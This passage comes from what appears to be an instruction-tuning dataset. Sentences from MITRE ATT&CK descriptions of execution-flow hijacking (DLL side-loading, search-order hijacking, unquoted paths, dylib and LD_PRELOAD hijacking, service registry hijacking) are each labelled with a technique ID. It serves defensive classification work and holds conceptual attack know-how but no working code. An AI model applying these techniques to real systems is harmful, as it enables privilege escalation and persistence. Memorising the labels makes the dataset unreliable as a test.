completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. ### Response: T1574.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Benign executables used to side-load payloads may not be flagged during delivery and/or execution.", "output": "T1574.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Benign executables used to side-load payloads may not be flagged during delivery and/or execution. ### Response: T1574.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading)", "output": "T1574.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading) ### Response: T1574.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may execute their own malicious payloads by hijacking vulnerable file path references.", "output": "T1574.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. ### Response: T1574.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.", "output": "T1574.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch. ### Response: T1574.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Service paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\\unsafe path with space\\program.exe</code> vs. <code>\"C:\\safe path with space\\program.exe\"</code>).", "output": "T1574.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Service paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\\unsafe path with space\\program.exe</code> vs. <code>\"C:\\safe path with space\\program.exe\"</code>). ### Response: T1574.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Help eliminate unquoted path) (stored in Windows Registry keys)", "output": "T1574.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) ### Response: T1574.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable.", "output": "T1574.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. ### Response: T1574.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, if the path in a shortcut is <code>C:\\program files\\myapp.exe</code>, an adversary may create a program at <code>C:\\program.exe</code> that will be run instead of the intended program.", "output": "T1574.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, if the path in a shortcut is <code>C:\\program files\\myapp.exe</code>, an adversary may create a program at <code>C:\\program.exe</code> that will be run instead of the intended program. ### Response: T1574.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide)", "output": "T1574.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide) ### Response: T1574.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.", "output": "T1574.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process. ### Response: T1574.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime.", "output": "T1574.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. ### Response: T1574.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The dynamic loader will try to find the dylibs based on the sequential order of the search paths.", "output": "T1574.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The dynamic loader will try to find the dylibs based on the sequential order of the search paths. ### Response: T1574.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Paths to dylibs may be prefixed with <code>@rpath</code>, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable.", "output": "T1574.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Paths to dylibs may be prefixed with <code>@rpath</code>, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable. ### Response: T1574.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, if weak linking is used, such as the <code>LC_LOAD_WEAK_DYLIB</code> function, an application will still execute even if an expected dylib is not present.", "output": "T1574.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, if weak linking is used, such as the <code>LC_LOAD_WEAK_DYLIB</code> function, an application will still execute even if an expected dylib is not present. ### Response: T1574.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.", "output": "T1574.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Weak linking enables developers to run an application on multiple macOS versions as new APIs are added. ### Response: T1574.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation:", "output": "T1574.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: ### Response: T1574.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Wardle Dylib Hijack Vulnerable Apps)(Citation:", "output": "T1574.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Wardle Dylib Hijack Vulnerable Apps)(Citation: ### Response: T1574.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources.", "output": "T1574.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. ### Response: T1574.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Based on the application, this could result in privilege escalation and uninhibited network access.", "output": "T1574.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Based on the application, this could result in privilege escalation and uninhibited network access. ### Response: T1574.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO)", "output": "T1574.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO) ### Response: T1574.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries.", "output": "T1574.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. ### Response: T1574.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from environment variables and files, such as <code>LD_PRELOAD</code> on Linux or <code>DYLD_INSERT_LIBRARIES</code> on macOS.", "output": "T1574.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from environment variables and files, such as <code>LD_PRELOAD</code> on Linux or <code>DYLD_INSERT_LIBRARIES</code> on macOS. ### Response: T1574.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries)", "output": "T1574.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) ### Response: T1574.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions without changing the original library.(Citation: Baeldung LD_PRELOAD)", "output": "T1574.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions without changing the original library.(Citation: Baeldung LD_PRELOAD) ### Response: T1574.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Linux and macOS, hijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges.", "output": "T1574.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Linux and macOS, hijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. ### Response: T1574.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This method may also evade detection from security products since the execution is masked under a legitimate process.", "output": "T1574.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This method may also evade detection from security products since the execution is masked under a legitimate process. ### Response: T1574.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can set environment variables via the command line using the <code>export</code> command, <code>setenv</code> function, or <code>putenv</code> function.", "output": "T1574.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can set environment variables via the command line using the <code>export</code> command, <code>setenv</code> function, or <code>putenv</code> function. ### Response: T1574.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can also leverage [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) to export variables in a shell or set variables programmatically using higher level syntax such Python\u2019s <code>os.environ</code>.", "output": "T1574.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can also leverage [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) to export variables in a shell or set variables programmatically using higher level syntax such Python\u2019s <code>os.environ</code>. ### Response: T1574.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Linux, adversaries may set <code>LD_PRELOAD</code> to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program.", "output": "T1574.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Linux, adversaries may set <code>LD_PRELOAD</code> to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. ### Response: T1574.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "<code>LD_PRELOAD</code> can be set via the environment variable or <code>/etc/ld.so.preload</code> file.(Citation:", "output": "T1574.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: <code>LD_PRELOAD</code> can be set via the environment variable or <code>/etc/ld.so.preload</code> file.(Citation: ### Response: T1574.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Man LD.SO)(Citation: TLDP Shared Libraries) Libraries specified by <code>LD_PRELOAD</code> are loaded and mapped into memory by <code>dlopen()</code> and <code>mmap()</code> respectively.(Citation: Code Injection on Linux and macOS)(Citation: Uninformed Needle) (Citation: Phrack halfdead 1997)(Citation:", "output": "T1574.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Man LD.SO)(Citation: TLDP Shared Libraries) Libraries specified by <code>LD_PRELOAD</code> are loaded and mapped into memory by <code>dlopen()</code> and <code>mmap()</code> respectively.(Citation: Code Injection on Linux and macOS)(Citation: Uninformed Needle) (Citation: Phrack halfdead 1997)(Citation: ### Response: T1574.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Brown Exploiting Linkers) \n\nOn macOS this behavior is conceptually the same as on Linux, differing only in how the macOS dynamic libraries (dyld) is implemented at a lower level.", "output": "T1574.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Brown Exploiting Linkers) \n\nOn macOS this behavior is conceptually the same as on Linux, differing only in how the macOS dynamic libraries (dyld) is implemented at a lower level. ### Response: T1574.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can set the <code>DYLD_INSERT_LIBRARIES</code> environment variable to point to malicious libraries containing names of legitimate libraries or functions requested by a victim program.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES", "output": "T1574.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can set the <code>DYLD_INSERT_LIBRARIES</code> environment variable to point to malicious libraries containing names of legitimate libraries or functions requested by a victim program.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES ### Response: T1574.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Catalina Bypass)", "output": "T1574.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Catalina Bypass) ### Response: T1574.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs.", "output": "T1574.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. ### Response: T1574.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows systems use a common method to look for required DLLs to load into a program.", "output": "T1574.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows systems use a common method to look for required DLLs to load into a program. ### Response: T1574.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010)", "output": "T1574.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) ### Response: T1574.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution.", "output": "T1574.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution. ### Response: T1574.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are many ways an adversary can hijack DLL loads.", "output": "T1574.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are many ways an adversary can hijack DLL loads. ### Response: T1574.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program.", "output": "T1574.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. ### Response: T1574.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL.", "output": "T1574.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. ### Response: T1574.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Often this location is the current working directory of the program.(Citation: FireEye fxsst June 2011)", "output": "T1574.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Often this location is the current working directory of the program.(Citation: FireEye fxsst June 2011) ### Response: T1574.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL.", "output": "T1574.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. ### Response: T1574.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft Security Advisory 2269637)", "output": "T1574.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft Security Advisory 2269637) ### Response: T1574.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation:", "output": "T1574.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation: ### Response: T1574.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking)", "output": "T1574.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking) ### Response: T1574.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level.", "output": "T1574.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. ### Response: T1574.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.", "output": "T1574.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. ### Response: T1574.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.", "output": "T1574.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace. ### Response: T1574.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs.", "output": "T1574.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. ### Response: T1574.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.", "output": "T1574.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program. ### Response: T1574.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Search order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path.", "output": "T1574.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Search order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. ### Response: T1574.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Unlike [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), the search order differs depending on the method that is used to execute the program.", "output": "T1574.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Unlike [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), the search order differs depending on the method that is used to execute the program. ### Response: T1574.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec)", "output": "T1574.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec) ### Response: T1574.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory.", "output": "T1574.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. ### Response: T1574.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.", "output": "T1574.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory. ### Response: T1574.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, \"example.exe\" runs \"cmd.exe\" with the command-line argument <code>net user</code>.", "output": "T1574.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, \"example.exe\" runs \"cmd.exe\" with the command-line argument <code>net user</code>. ### Response: T1574.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net.", "output": "T1574.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. ### Response: T1574.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then <code>cmd.exe /C", "output": "T1574.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then <code>cmd.exe /C ### Response: T1574.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "net user</code> will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT.", "output": "T1574.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: net user</code> will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. ### Response: T1574.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).", "output": "T1574.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001). ### Response: T1574.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services.", "output": "T1574.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. ### Response: T1574.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts.", "output": "T1574.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. ### Response: T1574.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows stores local service configuration information in the Registry under <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>.", "output": "T1574.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows stores local service configuration information in the Registry under <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>. ### Response: T1574.011."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe,  [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075).", "output": "T1574.011", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe,  [PowerShell](https://attack.mitre.org/techniques/T1059/001), or 